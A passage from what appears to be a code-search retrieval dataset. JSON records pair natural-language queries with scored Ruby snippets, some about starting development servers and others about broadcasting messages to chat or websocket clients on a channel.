\"#{SCRIPT_ROOT}/server -e #{@opts[:env]} -d\"\n puts \"#{$0} Starting WEBRick: #{cmd}\"\n system cmd\n end", "title": "" }, { "docid": "4c6a51728781043f6647376714be44fa", "score": "0.60679203", "text": "def set_dev_mode(state)\n log_info(\"Running in dev mode, nothing will be send to the Pira32\", true) if state\n @dev_mode = state\n end", "title": "" }, { "docid": "e8f24d9a6b440d281b2dc122804464c3", "score": "0.60402495", "text": "def start_webserver\n AYTests::WebServer.new(\n veewee_dir: Pathname.pwd.join(\"definitions\", \"autoyast\"),\n files_dir: files_dir\n ).start\n end", "title": "" }, { "docid": "f97139541456da1eeaa89eb940e65da8", "score": "0.60381174", "text": "def with_dev_server\n # Start the server in a forked process:\n webpack_dev_server = Dir.chdir(\"test/dummy\") do\n spawn \"RAILS_ENV=development ./bin/webpack-dev-server \"\n end\n\n detected_dev_server = false\n\n # Wait for it to start up, make sure it's there by connecting to it:\n 30.times do |i|\n begin\n # Make sure that the manifest has been updated:\n Webpacker::Manifest.load(\"./test/dummy/public/packs/manifest.json\")\n webpack_manifest = Webpacker::Manifest.instance.data\n example_asset_path = webpack_manifest.values.first\n if example_asset_path.nil?\n # Debug helper\n # puts \"Manifest is blank, all manifests:\"\n # Dir.glob(\"./test/dummy/public/packs/*.json\").each do |f|\n # puts f\n # puts File.read(f)\n # end\n next\n end\n # Make sure the dev server is up:\n open(\"http://localhost:8080/application.js\")\n if !example_asset_path.start_with?(\"http://localhost:8080\")\n raise \"Manifest doesn't include absolute path to dev server\"\n end\n\n detected_dev_server = true\n break\n rescue StandardError => err\n puts err.message\n ensure\n sleep 0.5\n # debug counter\n # puts i\n end\n end\n\n # If we didn't hook up with a dev server after waiting, fail loudly.\n if !detected_dev_server\n raise \"Failed to start dev server\"\n end\n\n # Call the test block:\n yield\n ensure\n # Kill the server process\n # puts \"Killing webpack dev server\"\n check_cmd = \"lsof -i :8080 -S\"\n 10.times do\n # puts check_cmd\n status = `#{check_cmd}`\n # puts status\n remaining_pid_match = status.match(/\\n[a-z]+\\s+(\\d+)/)\n if remaining_pid_match\n remaining_pid = remaining_pid_match[1]\n # puts \"Remaining #{remaining_pid}\"\n kill_cmd = \"kill -9 #{remaining_pid}\"\n # puts kill_cmd\n `#{kill_cmd}`\n sleep 0.5\n else\n break\n end\n end\n\n # Remove the dev-server packs:\n WebpackerHelpers.clear_webpacker_packs\n # puts \"Killed.\"\n end", "title": "" }, { "docid": "af9407750e3af562954229facc5047f5", "score": "0.6025403", "text": "def dev?\n env == :development\n end", "title": "" }, { "docid": "af9407750e3af562954229facc5047f5", "score": "0.6025403", "text": "def dev?\n env == :development\n end", "title": "" }, { "docid": "3693931457af66b67e317f0e3d5b791c", "score": "0.60250825", "text": "def start( app )\n set_context_servlets( '/',\n {'/*' => RackServlet.new(app, @servlet_options)} )\n\n @server = create\n @server.start\n # Recover the server port in case 0 was given.\n self.port = @server.connectors[0].local_port\n\n @server\n end", "title": "" }, { "docid": "9a53edd7d5a29a2f4e834b0975ec2cd5", "score": "0.60036427", "text": "def start\n UI.info 'Guard::Passenger is running!'\n standalone? ? Runner.start_passenger(cli_start, @sudo) : true\n end", "title": "" }, { "docid": "180eb9da0480963e247e8e564223d0d9", "score": "0.59982777", "text": "def start\n daemonize unless running?\n end", "title": "" }, { "docid": "41ea0274b0e54aa38eac43d0c68ddd3e", "score": "0.59961516", "text": "def start\n server = Jasmine::Server.new(port, Rails.application.to_app)\n\n t = Thread.new do\n server.start\n end\n t.abort_on_exception = true\n\n Jasmine::wait_for_listener(port, \"jasmine server\")\n end", "title": "" }, { "docid": "a940d0b0d6b6a2014454be4aa6d2599f", "score": "0.5992155", "text": "def run(*args)\n\t\t\t\t@options[:ontop] = true\n\t\t\t\tif server_running?\n\t\t\t\t\tputs \"Livecode server is already running on #{LivecodeServer.uri}\"\n\t\t\t\telse\n\t\t\t\t\tdaemon_group.new_application.start\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "368621c0579a32cd76dbd5e76ecd97d3", "score": "0.59902626", "text": "def start_web_server!\n @web_thread = Thread.new do\n LLL.info \"starting web server...\"\n Web.run! port: @http_listen_port, bind: '0.0.0.0'\n end\n\n sleep 1\n end", "title": "" }, { "docid": "7a58b1bc69c1396b795edefb91a02b10", "score": "0.59880996", "text": "def start\n server = RackServer.new(server_options)\n server.instance_variable_set(\"@app\", self)\n print_start_message(server)\n server.start\n end", "title": "" }, { "docid": "2605866110decc301a11c557a8875ccf", "score": "0.5986678", "text": "def production!\n @production = true\n end", "title": "" }, { "docid": "ac63d1388c569f7efe42146d7808edc9", "score": "0.5982214", "text": "def dev_delay \n if Rails.env.development?\n sleep 1\n end\n end", "title": "" }, { "docid": "88840756e4bb6507ec81dfaffde02777", "score": "0.59736156", "text": "def start\n UI.info 'Guard::Passenger is running!'\n if standalone?\n @running = Runner.start_passenger(cli_start, @sudo)\n else\n true\n end\n end", "title": "" }, { "docid": "75e678a396f433cf5b099ce9c29bfb89", "score": "0.5971315", "text": "def start\n run_all if options[:build_on_start]\n end", "title": "" }, { "docid": "80b7776f649e857b5f23bbb30fdae37b", "score": "0.59698796", "text": "def dev?\n @env == 'development'\n end", "title": "" } ]
1617ea78b4f46017cd7cf294147e70f4
Send to all clients on a specific channel
[ { "docid": "f31fd4fe5a16df66a18d48ec6d229c4c", "score": "0.5591375", "text": "def send_raw_to_channel c, channel, raw, double = true\n if channel_format?(channel) then\n if @channels.include? channel then\n\tif @clients[c][:channels].include? channel then\n\t @channels[channel][:clients].each do |channel_clients|\n\t if double then # If double = true, send the raw to the sender (c)\n\t send_raw_to_client c, channel_clients, raw\n\t else\n\t unless channel_clients == c then\n\t\tsend_raw_to_client c, channel_clients, raw\n\t end\n\t end\n\t end\n\telse\n\t send_errnr_to_client c, NR::ERR_CANNOTSENDTOCHAN, channel\n\tend\n else\n\tsend_errnr_to_client c, NR::ERR_NOSUCHCHANNEL, channel\n end\n else\n send_errnr_to_client c, NR::ERR_BADCHANMASK, channel\n end\n end", "title": "" } ]
[ { "docid": "8c6e12953c0435882c6240ce85e700e9", "score": "0.74887115", "text": "def send_all(message)\n @clients.each do |websocket, client|\n websocket.send message\n end\n puts \"send_all: #{message}\"\n end", "title": "" }, { "docid": "8533b2dff40a32b87ad84705d8ba8260", "score": "0.6955055", "text": "def broadcast(message, chatters)\n chatters.each do |chatter| #Goes through an array of chatters\n chatter.puts message #sends a message to each one (new client joined the chat)\n end\nend", "title": "" }, { "docid": "49537e1fc56d0bc9f05488b5b93b6621", "score": "0.690163", "text": "def send_all_clients(connection)\n Client.all.each do |client|\n connection.send({ type: 'client', client_id: client.id, name: client.name, ip: client.ip }.to_json)\n end\n end", "title": "" }, { "docid": "02eed3cd417b1d356a3227c0e3093432", "score": "0.6633322", "text": "def send_all(mes)\n sockets.each { |s| s.send mes }\n end", "title": "" }, { "docid": "e78e69725eee54af42e822d520de06d3", "score": "0.654671", "text": "def notify_channels\n channels.each do |channel|\n self.class.connection.execute('NOTIFY %s, %s' % [channel, payload])\n end\n end", "title": "" }, { "docid": "063802fc01cb5fb51d9ce9892a4fc062", "score": "0.64404655", "text": "def send_to_all(msg)\n payload = {\n :type => :chat,\n :subtype => :new_message,\n :message => build_message(msg)\n }.to_json\n @channel.push(payload)\n end", "title": "" }, { "docid": "66bb915119e6f184456902977e3178b1", "score": "0.6360059", "text": "def send_message\n @selected.send_message(channel)\n end", "title": "" }, { "docid": "aecbb60557054e36e114b231ea54db8e", "score": "0.6357263", "text": "def send_all_quiz_participants(quiz_id, message)\n @clients.each do |websocket, client|\n if (@quiz_participants[quiz_id].include?(client) || @tv_clients.include?(websocket))\n websocket.send message\n end\n end\n puts \"send_all_participants of quiz #{quiz_id}: #{message}\"\n end", "title": "" }, { "docid": "a2ac069f50505cec4afbb53e7b48b4e1", "score": "0.6149479", "text": "def notify_channels\n notification_channels.each do |channel|\n self.class.connection.execute('NOTIFY %s, %s' % [channel, payload])\n end\n end", "title": "" }, { "docid": "8dac9996542be1262c5bf094610c9dbf", "score": "0.6147496", "text": "def each_channel &block\n Enumerator.new {\n |channel|\n self.channels.times do\n |c|\n channel << self.get_channel(c)\n end\n self\n }.each(&block)\n end", "title": "" }, { "docid": "f44d27ea56b782e7a79f47596b299358", "score": "0.6145269", "text": "def broadcast(message)\n clients.matchAll().then do |clients|\n clients.each do |client|\n client.postMessage(message)\n end\n end\nend", "title": "" }, { "docid": "3c83ab71201ceaa29f331246cc3c946b", "score": "0.61417425", "text": "def broadcast(message, to_channel = nil, &block)\n block = (block || proc do |c|\n c.context.user[:channels].map(&:name).include?(to_channel)\n end)\n\n clients.select(&block).map do |c|\n c.context.send({ \"_broadcast\" => true, \"_time\" => Time.now.to_f }.merge(message))\n end\n end", "title": "" }, { "docid": "7dc42f4ea29775e1ed68bc53eb56b286", "score": "0.60692954", "text": "def notify_clients(msg)\n synchronize do\n begin\n site_subs = @subscriptions[msg.site_id]\n subscription = site_subs[msg.channel] if site_subs\n\n return unless subscription\n\n subscription.each do |client_id|\n client = @clients[client_id]\n if client && client.allowed?(msg)\n begin\n client.synchronize do\n client << msg\n end\n rescue\n # pipe may be broken, move on\n end\n # turns out you can delete from a set while iterating\n remove_client(client) if client.closed?\n end\n end\n rescue => e\n @bus.logger.error \"notify clients crash #{e} : #{e.backtrace}\"\n end\n end\n end", "title": "" }, { "docid": "92912818b29eac67b05f40dae81542a6", "score": "0.60514826", "text": "def update_clients\n Player.each { |player| broadcast_msg(player.position_data) }\n end", "title": "" }, { "docid": "88d8ffdcbdc8254399088accd7d84a04", "score": "0.6050876", "text": "def channel_send( sender, channel, message, type='ice-msg-b')\n packet_send( sender, type, '*', '*', {:channel => channel, :text => message, :emote => 0, :echo => 1 })\n end", "title": "" }, { "docid": "a21c52bc2a7edf4ec7e1561badd09a84", "score": "0.60086393", "text": "def send_data(data)\n channels.each { |channel| channel.send_data(data) }\n self\n end", "title": "" }, { "docid": "aa57f35e337ecb117c60ec7a2e6ab0e0", "score": "0.60059524", "text": "def each_channel(&block)\n channels.dup.each(&block)\n end", "title": "" }, { "docid": "746c9be4fa01b6a72ab2810f1642e8be", "score": "0.5956023", "text": "def subscribed\n # stream_from \"some_channel\"\n stream_from \"user_#{user_id}\"\n update_clusters user_id\n end", "title": "" }, { "docid": "0fe1e8cdf718c94fe98ce140152ee240", "score": "0.5946207", "text": "def send_chan(chan, msg)\n\t\tsend_servers(msg.sub(/^(:\\S*)!\\S*/, '\\\\1')) if chan.name[0] != ?&\n\t\tsend_chan_local(chan, msg)\n\tend", "title": "" }, { "docid": "aed359a868e5b65e2a4a5d4acbc46bf2", "score": "0.59397554", "text": "def broadcast_player_action(hash, channel=0)\n sender_player_name = hash[:player_name]\n fail \"No player_name in #{hash.inspect}\" unless sender_player_name\n data = hash.to_json\n @player_connections.each do |player_name, conn|\n @server.send_packet(conn.id, data, false, channel) unless player_name == sender_player_name\n end\n @server.flush\n end", "title": "" }, { "docid": "0472271e52d178c4d6a39d8eaf7bbeb1", "score": "0.5927752", "text": "def subscribe(channel, *channels, &block); end", "title": "" }, { "docid": "61d2cbf89f7e89af24cc1cac31896420", "score": "0.5904442", "text": "def process_msg( sender, msg )\n self.check_connections\n @clients.each do |user, io|\n io.puts( \"<#{sender}> #{msg}\") unless sender == user\n end\n end", "title": "" }, { "docid": "86401616ce96398708d5fd16f125f7f0", "score": "0.5902997", "text": "def subscribe(*channels, &block); end", "title": "" }, { "docid": "72914c592e85a177d80a98fc44673b01", "score": "0.5894874", "text": "def broadcast\n m = Manychat.new\n subs = self.get_matching_subscribers\n subs.each do |sub|\n m.send_single_property_card(sub, self)\n end\n end", "title": "" }, { "docid": "e2e3f2e808f6af46e393520bd1b168a7", "score": "0.58930206", "text": "def set_channel_info(client)\n @@channel_list = nil\n s = Rufus::Scheduler.new(:max_work_threads => 200)\n #Wait 5s so that the client is setup before trying to run.\n s.in '5s' do\n @@channel_list = client.web_client.channels_list.channels\n end\n s = Rufus::Scheduler.new(:max_work_threads => 200)\n s.every '15m' do\n @@channel_list = client.web_client.channels_list.channels || @@channel_list\n end\n end", "title": "" }, { "docid": "8827394f38a2d1da926bc2c87fa1f4d4", "score": "0.5887286", "text": "def send_logouts_to_all_clients\n @@clients.each do |client|\n client.logout_request\n end\n end", "title": "" }, { "docid": "54555f0ee92bb25fe0ad344d287b70aa", "score": "0.587145", "text": "def channels\n client.channels\n end", "title": "" }, { "docid": "6446b1f1a6709a81cb672bae2896c013", "score": "0.585432", "text": "def write_all(msg, originator = nil)\n @rooms.users.each do |user|\n next unless user != originator\n begin\n user.client.puts(msg)\n rescue StandardError => exception\n p \"closing #{user}\"\n user[:client].close\n @rooms.delete(user)\n end\n end\n end", "title": "" }, { "docid": "f24b81b4693dccc954398d1a9041d393", "score": "0.58513397", "text": "def sends_channel_data(channel, data)\n events << LocalPacket.new(:channel_data, channel.remote_id, data)\n end", "title": "" }, { "docid": "997ccda47100cc9ea52cdf64af344c51", "score": "0.58436733", "text": "def send_to_all(subject, body, thread_id = '')\n values = {\n subject: subject,\n body: body,\n thread_id: thread_id\n }\n\n @client.make_request :post, messages_path('send/all'), values\n end", "title": "" }, { "docid": "138d0d4563458124610cc818adfdfbd9", "score": "0.58131653", "text": "def list_all_channels\n channels = @client.call('channel.listAllChannels', @key)\n channels.each { |ch| puts ch['label'] }\nend", "title": "" }, { "docid": "0c2842ba89c557a5dd35ff126a71cf2d", "score": "0.5810483", "text": "def send_members_to_chat\n members = RedisSingleton.instance.smembers('participants')\n members.map! { |item| JSON.parse(item) }\n\n ActionCable.server.broadcast PUBLIC_CHAT_CHANNEL, members: members, type: 'members'\n end", "title": "" }, { "docid": "a7ecf1ef0f3fd75cf89ae2d80b7d7af4", "score": "0.5805931", "text": "def JCH(channel)\n json = { :channel => channel }\n self.send_message('JCH',json)\n end", "title": "" }, { "docid": "05fd94b7e5752b94f9c9a9430331400b", "score": "0.5790519", "text": "def each\n @channels.each { |channel| yield channel }\n end", "title": "" }, { "docid": "86045c7c162b52dc1be08c08fb4b5349", "score": "0.5789455", "text": "def each &block\n clients.each(&block)\n end", "title": "" }, { "docid": "239930d69801505575f04dab2a266e33", "score": "0.57690656", "text": "def handle_subscribe_to_channels(origin_client_id, params)\n channel_symbols = params[:channels]\n options = {}\n options[:bounce] = (params[:bounce] == 'true')\n options[:create_lazy] = (params[:create_lazy] == 'true')\n @qsif[:channel_manager].subscribe(origin_client_id, channel_symbols, options)\n end", "title": "" }, { "docid": "4a617db005f1f0c6b97a883373e66dd4", "score": "0.57558876", "text": "def send_all\n self.shop_owner.customers.each do |customer|\n send_to(customer)\n end\n self.update(sent_time: Time.zone.now)\n end", "title": "" }, { "docid": "1da56109f5e81e1a497c1d0c155f1277", "score": "0.57493734", "text": "def broadcast_messages\n ActionCable.server.broadcast(\"conversation_#{conversation.id}\", {\n message_partial: ApplicationController.renderer.render(partial: \"shared/message\", locals: { message: self, user_is_messages_author: false }),\n current_user_id: user.id\n })\n\n [conversation.match.user_one, conversation.match.user_two].each do |the_user|\n ActionCable.server.broadcast(\"user_#{the_user.id}\", { \"conversations_updated\": true })\n end\n end", "title": "" }, { "docid": "35c8c30df206057216735ae8159fa927", "score": "0.5748921", "text": "def join *channels\n send \"JOIN #{channels.join(',')}\"\n end", "title": "" }, { "docid": "f4a5f92edfc27058c7de94f46c9751ad", "score": "0.5747176", "text": "def subscribe_users\n @channel.users << User.where(id: params[:channel][:user_ids])\n\n respond_to do |format|\n if @channel.save\n format.html { redirect_to channel_messages_path(@channel), notice: 'Abonnenten erfolgreich hinzugefuegt.' }\n format.json { render action: 'show', status: :created, location: @channel }\n else\n format.html { render action: 'show', location: @channel }\n format.json { render json: @channel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4c6efc9a071bd83756b6c52549e5e3d", "score": "0.57456315", "text": "def send_irc(channel, message)\n real_channel = @zbot.get_channel(channel)\n if real_channel\n real_channel.send(message)\n else\n puts \"############## CHANNEL #{channel} NOT FOUND !\"\n end\n end", "title": "" }, { "docid": "c2fd962f2a93a79322cd20700556fc18", "score": "0.5738896", "text": "def send_to_clients_otherwise msg, elt\n @clients.each{|cl|\n if cl != elt\n cl.add_prefix(msg) unless msg.prefix\n cl << msg\n end\n }\n invoke_event :invoke_bot, msg if elt\n @logger.logging msg\n end", "title": "" }, { "docid": "c9da86c1eb54a1946773ba7a38b125d8", "score": "0.5736906", "text": "def send_message(message)\n all_connections.send_message(message)\n end", "title": "" }, { "docid": "c9da86c1eb54a1946773ba7a38b125d8", "score": "0.5736906", "text": "def send_message(message)\n all_connections.send_message(message)\n end", "title": "" }, { "docid": "c18f49638cff1f0ec107b2b35abebbe0", "score": "0.5736044", "text": "def send_to_all!(method_name, *args)\n hijacking! do\n all_connections.each do |con|\n con.send(method_name, *args)\n end\n end\n end", "title": "" }, { "docid": "81947ad2a288b59381cbcd239d2d0570", "score": "0.5716396", "text": "def subscribe\n @thr.exit\n @thr = Thread.new do\n redis_sub = Redis.new(:url => ENV['REDISTOGO_URL'])\n redis_sub.subscribe(@channels.keys) do |on|\n on.message do |channel, msg|\n p [\"channel and message\", channel, msg]\n @channels[channel].each {|ws| ws.send(msg) }\n p [\"Successfully sent!\"]\n end\n end\n end\n end", "title": "" }, { "docid": "cf826c023e8db6cfe665c8e96b745230", "score": "0.5711119", "text": "def send_chan_butone(chan, usr, msg)\n\t\tsend_servers(msg.sub(/^(:\\S*)!\\S*/, '\\\\1')) if chan.name[0] != ?&\n\t\t(chan.users & local_users).each { |u| u.send msg if u != usr }\n\tend", "title": "" }, { "docid": "e69dd33cef8e64d7ce029bd820790ddd", "score": "0.57037485", "text": "def send message\n for msg in @chain.to(message)\n send_data(msg)\n end\n end", "title": "" }, { "docid": "e7ef91ad19b3f4de23d437ec37ee9137", "score": "0.56936747", "text": "def channel_subscribers(channel)\n @server.subscribers[channel] || []\n end", "title": "" }, { "docid": "8e34d1cc8041e91fed4995e574976f72", "score": "0.56931996", "text": "def on_receive( channel, data )\n @client.send data, 0\n end", "title": "" }, { "docid": "8e34d1cc8041e91fed4995e574976f72", "score": "0.56931996", "text": "def on_receive( channel, data )\n @client.send data, 0\n end", "title": "" }, { "docid": "b1f13dca34973a28f685c48a8751769b", "score": "0.5689602", "text": "def send_to(sender)\n while sender.credit > 0 && (message = pop(sender))\n sender.send(message)\n end\n end", "title": "" }, { "docid": "d089a43517700c02e2c549c71f41ca48", "score": "0.5658604", "text": "def psubscribe(*channels, &block); end", "title": "" }, { "docid": "d089a43517700c02e2c549c71f41ca48", "score": "0.5658604", "text": "def psubscribe(*channels, &block); end", "title": "" }, { "docid": "e123bd23ec3c2ceeebf974d850e75fe0", "score": "0.5642701", "text": "def joinChannel(idUser,idChannel)\n \n end", "title": "" }, { "docid": "2f0ec5c329b11bf0f6e5c50de9788227", "score": "0.5642286", "text": "def send_batch msgs\n @socket.send_batch msgs\n end", "title": "" }, { "docid": "8e8036808de38b0acc7e0d124c1349e3", "score": "0.56404394", "text": "def send_client_message(client, message)\n nickname = @connections[client]\n @connections.each_key do |other_client|\n unless other_client == client\n other_client.puts 'M' + @spaces + nickname + ': ' + message\n end\n end\n end", "title": "" }, { "docid": "1d850dd7d58e5f3e22019c3b747d252d", "score": "0.56394726", "text": "def broadcast!(method, *args)\n @users.each { |user| user.notify!(method, *args) }\n end", "title": "" }, { "docid": "1bc38ab3caed70c0c96d43ac606e0731", "score": "0.5639166", "text": "def channel_commands(name)\n\t name = name.strip.to_s\n\t begin\n @cli.join_channel(name)\n @@currentChannel = name\n rescue # In case invalid channel name is entered\n send(\"Invalid Channel Name\")\n end\n\t\tsleep(1)\n\tend", "title": "" }, { "docid": "82e13c7278632d5eaf01992f969b043c", "score": "0.56157386", "text": "def send_each (send)\n # command\n if send[0] == COMMANDS[2][0] then\n port = BINARY_SERVICE_PORT\n else\n port = TEXT_SERVICE_PORT\n end\n\n # Prepare socket\n receiver = @context.socket(ZMQ::REQ)\n receiver.connect(\"tcp://#{IP}:#{port}\")\n\n receiver.send_strings(send)\n receiver.recv_strings(list = [])\n\n return list\nend", "title": "" }, { "docid": "adb7e11fe5e2ec99d033f91df3792a0a", "score": "0.5608933", "text": "def welcome(event)\n @options[:channels].each {|channel| @irc.join(channel) }\n end", "title": "" }, { "docid": "f3789d559f3b556f66b50d669e00bc12", "score": "0.5604437", "text": "def broadcast(players = state.players.players, &block)\n players.each do |player|\n yield self.to(player.connection)\n end\n end", "title": "" }, { "docid": "43fa710e1c1bef0e99c9369b7e385874", "score": "0.55991274", "text": "def process_msg( sender, msg )\n @clients.each do |nick, io|\n if io.closed?\n client_left( nick )\n next\n end\n next if sender == nick\n io.puts( \"#{sender} >> #{msg}\")\n end\n end", "title": "" }, { "docid": "4b69776d24c508dd461c7014ebede186", "score": "0.5595016", "text": "def process_msg( sender, msg )\n @clients.each do |user, io|\n if io.closed?\n client_left( user )\n next\n end\n next if sender == user\n io.puts( \"#{sender} >> #{msg}\")\n end\n end", "title": "" }, { "docid": "b7aa9253550511a89637bab6b2d4c24d", "score": "0.55915564", "text": "def send_servers(msg)\n\t\tservers.each { |s| s.send msg }\n\tend", "title": "" }, { "docid": "612ab77968996a269c0102eace7b2541", "score": "0.5590411", "text": "def channels_to_be_updated\n result = Array.new\n\n channel_ids.each do |channel_id|\n result << Channel.find(channel_id)\n end\n\n result\n end", "title": "" }, { "docid": "93e190eb6a3e5817274bdbf5a6fd7f3f", "score": "0.55885905", "text": "def turnUpAllChannels()\n result = ''\n @base.cmd(\"conf t\") { |c| result += c }\n @base.cmd(\"int ca1/0\") { |c| result += c }\n (0..5).each do |ch|\n @base.cmd(\"no cable upstream #{ch} shutdown\") { |c| result += c }\n @base.cmd(\"no cable upstream #{ch}.0 shutdown\") { |c| result += c }\n end\n @base.cmd(\"end\") { |c| result += c }\n result\n end", "title": "" }, { "docid": "0f72831db159b7b1c07eae9862bd4e09", "score": "0.5588088", "text": "def index\n user = User.find_by_id(current_user.id)\n @messages = Message.where(channel: user.subscribed_channel[:channel])\n end", "title": "" }, { "docid": "393c3bbb3ff06d8b92659d6d38684975", "score": "0.5587109", "text": "def subscribe channel, &block\n @client.subscribe channel, &block\n end", "title": "" }, { "docid": "514df1ec82eef6cb240dff4964883cf1", "score": "0.55835474", "text": "def send_all(params)\n\n recipients = Member.all(:conditions => {:state => \"active\"})\n current_member.send_message(recipients, params[:Message], params[:Sujet])\n\n flash[:notice] = \"Vous avez bien envoyé le mesaage à tous les membres\"\n\n redirect_to member_messages_path(current_member)\n end", "title": "" }, { "docid": "0d6b58262a4ad94d8dc3eb39ca74e76d", "score": "0.55681545", "text": "def send(msg)\n\t\tlog Server.username+\": \"+msg\n\t\t@cli.text_channel @@currentChannel, msg\n\tend", "title": "" }, { "docid": "41c291d7ed3dae9e861510c2736da5c4", "score": "0.5566318", "text": "def each_client\n each_service_uri do |uri|\n begin\n remote = DRbObject.new_with_uri(uri)\n yield remote\n rescue DRb::DRbConnError\n rescue => e\n puts \"Error sending message to client: #{e.message}\" if @verbose\n end\n end\n end", "title": "" }, { "docid": "494ac30d6f77333d8a5cafc4f9a9ef4e", "score": "0.55646867", "text": "def send_irc(channel, message)\n @irc_gateway.send_irc channel, message\n end", "title": "" }, { "docid": "4e35a1f34a7a9f6d3f4348260f88d55c", "score": "0.55606145", "text": "def select_send(type, sender_hash, key_id, opaque, &ss)\n # First construct the message\n len = opaque.length\n len = (len >> 24).chr + ((len >> 16) & 0xFF).chr +\n ((len >> 8) & 0xFF).chr + (len & 0xFF).chr\n msg = type.chr << len << sender_hash << key_id << opaque\n\n # To whom should we forward?\n @clients.select { |_,x| ss.call(x) }.each { |_,x| x.send(msg) }.length\n end", "title": "" }, { "docid": "23d38b243599ea5879a4b0055425d679", "score": "0.5547084", "text": "def update_all()\n p \"Updating all players\"\n settings.sockets.each_with_index do |ws, player|\n ws.send({\n action: \"data\",\n playerNumber: player,\n data: $game.to_hash(player, true) # Change to not send everything once implemented\n }.to_json)\n end\n end", "title": "" }, { "docid": "6c14f304aa0e5deb2bd2251787bdbaab", "score": "0.554497", "text": "def list(*channels)\n @connection.list *channels\n end", "title": "" }, { "docid": "38de3d917a2b648855cb42234a060a8a", "score": "0.55418676", "text": "def channel_who_reply channel\n cache[:names].concat channel.users.map(&:nick)\n cache[:names].uniq!\n end", "title": "" }, { "docid": "8b0c5ceb9d7de79ed866c9b184de597a", "score": "0.5523065", "text": "def subscribe_to_faye_channels(client_name='faye_client', channels, &block)\n js_out=\"var #{client_name} = new Faye.Client('#{FAYE_SERVER_URL}');\\n\"\n channels.each do |channel|\n #js_out << \"#{client_name}.subscribe('#{channel}', function(data){ #{block_js} });\"\n js_out << \" \"+(subscribe_to_faye_channel client_name, true, channel, &block)\n js_out << \"\\n\"\n end\n js_out\n end", "title": "" }, { "docid": "d97e47f91664dba8e223ec967e54f782", "score": "0.55210125", "text": "def subscribe_to_redis_channel(redis, channel)\n Thread.new {\n redis.subscribe(channel) do |on|\n on.message do |channel, json|\n message = JSON.parse(json) rescue nil\n if message && message['data'] && message['receivers']\n self.valid_clients_for_message(message).each do |client|\n client.ws.send(message['data'])\n end\n end\n end\n end\n }\n end", "title": "" }, { "docid": "8bdfab10fba613a2dbab20237afe0b66", "score": "0.5515153", "text": "def subscribe_to_channel channel_id\n perform_put(\"/users/#{get_id}/channels/#{channel_id}\")\n end", "title": "" }, { "docid": "afee4474da5c870ad7859181ad10a1ba", "score": "0.5514885", "text": "def send_queued_messages(connection)\n self.expire_queued_messages!\n\n # Weird looping because we don't want to send messages that get\n # added to the array after we start iterating (since those will\n # get sent to the client anyway).\n @length = @messages.length\n\n logger.debug(\"Sending #{@length} queued message(s) to client #{friendly_id}\")\n\n @length.times do |id|\n message = @messages[id]\n send_message_to_connection(connection, message[:message], message[:channels])\n end\n end", "title": "" }, { "docid": "b997367337ff7c7d001d4ae76ffabccf", "score": "0.55133575", "text": "def index\n @conversations = current_user.conversations.where(:kind=> 'channel')\n end", "title": "" }, { "docid": "8fb564060b41f7dcc07b94c7f8cbf23e", "score": "0.5511148", "text": "def send_message(msg, color)\n client = HipChat::Client.new(token, client_options)\n rooms_to_notify.each do |room|\n client[room].send(from, msg, color: color, notify: notify_users)\n end\n end", "title": "" }, { "docid": "895f2cebecba8c4eadf764759397467e", "score": "0.5509793", "text": "def listen_and_broadcast(account, client)\n\t\tloop {\n\t\t\tmessage = client.gets\n\t\t\tif message == nil\n\t\t\t\t@clients.delete(account)\n\t\t\t\tputs \"#{account.username} has left the conversation\"\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t@connections[:clients].each do |other_account, other_client|\n\t\t\t\tunless account.username == other_account.username\n\t\t\t\t\tother_client.puts \"#{account.username}: #{message}\"\n\t\t\t\tend\n\t\t\tend\n\t\t}\t\n\t\tclient.close\t\n\tend", "title": "" }, { "docid": "5cdfe1be5e3e928453f302a343d25448", "score": "0.55007285", "text": "def broadcast(m)\n\t\t\tplayers.each {|p| p.send_message(m)}\n\t\tend", "title": "" }, { "docid": "a6a2735bda00d747e1997b9610eb83ee", "score": "0.5500611", "text": "def broadcast(message, include_player = false)\n\t\tconnections = []\n\t\tMudServer.clients.each do |connection|\n\t\t\tif (connection.player)\n\t\t\t\tplayer = connection.player\n\t\t\t\tif (player.room_id == self.id)\n\t\t\t\t\tif (include_player || (current_player && current_player.id != player.id))\n\t\t\t\t\t\tconnection.client.puts message\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend", "title": "" }, { "docid": "55b69ea05d6ed28a8c7e5d3fd7002b9b", "score": "0.5498859", "text": "def notify!\n chat = self.chat\n uri = URI.parse(\"http://localhost:9292/faye\")\n chat.users.each do |u|\n unless u == self.user\n channel = \"/users/#{u.edmodo_user_id}\"\n message = {channel: channel, data: { event: \"new_message\", chat_id: chat.id, message_id: self.id }}\n Net::HTTP.post_form(uri, :message => message.to_json)\n end\n end\n end", "title": "" }, { "docid": "0fcaa0925250cbe7cab98446ed59166b", "score": "0.5490457", "text": "def refresh_channels!\n all_groups = @client.groups_list.groups\n all_groups.each { |g| @group_members[g.id] = g.members }\n\n all_channels = @client.channels_list.channels\n name_to_id = {}\n (all_channels + all_groups).each do |c|\n name_to_id[c.name] = c.id\n end\n\n @channels = name_to_id.freeze\n end", "title": "" }, { "docid": "1d96b2cbe7db57c295dacb383d626df3", "score": "0.54857355", "text": "def send_message(message)\n client.puts message\n end", "title": "" }, { "docid": "fb3c79c213a96f20103f86abd00213fb", "score": "0.5483413", "text": "def upload_to_all_clients(clients, measurement_bundle, logger)\n clients.each do |client|\n logger.info(\"Sending to #{client.class.name}\")\n client.upload(measurement_bundle)\n end\nrescue StandardError => ex\n logger.error(\"Something went wrong : #{ex}\")\n logger.debug(ex.backtrace)\nend", "title": "" }, { "docid": "aaceb615581c44176d2be05935eafece", "score": "0.54817826", "text": "def join(channel)\n send \"JOIN #{channel}\"\n end", "title": "" }, { "docid": "e52e1ecfb685f41ffff4e6575e075de5", "score": "0.54775786", "text": "def index\n @chatchannels = Chatchannel.public_channels\n end", "title": "" }, { "docid": "c6883c751520cd012e02d58a3d2ccd56", "score": "0.54751635", "text": "def subscribe(channels, &block)\n connect {\n channels = [channels].flatten\n validate_channels(channels)\n \n @transport.send({\n 'channel' => Channel::SUBSCRIBE,\n 'clientId' => @client_id,\n 'subscription' => channels\n \n }) do |response|\n if response['successful']\n channels = [response['subscription']].flatten\n channels.each { |channel| @channels[channel] = block }\n end\n end\n }\n end", "title": "" }, { "docid": "ff51b66022d9a1f07761bd360fb8390f", "score": "0.5474011", "text": "def transmit_to_client(client, 